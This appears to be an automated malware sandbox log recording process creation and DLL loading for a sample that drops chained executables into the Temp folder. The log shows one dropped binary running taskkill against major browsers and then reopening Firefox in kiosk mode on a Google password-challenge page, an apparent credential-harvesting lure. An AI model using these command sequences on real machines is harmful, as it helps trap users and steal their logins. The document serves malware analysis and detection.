Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b40077cd-dd11-4133-b7ff-87ccb7cbcf33} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1378e86ed10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000979001\num.exe "C:\Users\user\AppData\Local\Temp\1000979001\num.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2948 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 3212 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ae1ecd2-7e69-4001-87b4-63ef548d530a} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1379e087210 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe "C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe "C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe"
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000979001\num.exe "C:\Users\user\AppData\Local\Temp\1000979001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 26596 -prefMapSize 238335 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02f5810b-dd2b-4de0-96e0-9800a8c8aecc} 3780 "\\.\pipe\gecko-crash-server-pipe.3780" 1a0b0b6ff10 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe "C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe "C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe "C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe "C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe "C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe "C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1000979001\num.exe "C:\Users\user\AppData\Local\Temp\1000979001\num.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2184 -parentBuildID 20230927232528 -prefsHandle 2132 -prefMapHandle 2128 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b40077cd-dd11-4133-b7ff-87ccb7cbcf33} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1378e86ed10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2948 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 3212 -prefsLen 30974 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {0ae1ecd2-7e69-4001-87b4-63ef548d530a} 7456 "\\.\pipe\gecko-crash-server-pipe.7456" 1379e087210 rdd
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2140 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 26596 -prefMapSize 238335 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02f5810b-dd2b-4de0-96e0-9800a8c8aecc} 3780 "\\.\pipe\gecko-crash-server-pipe.3780" 1a0b0b6ff10 socket

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe	Section loaded: webio.dll	Jump to behavior
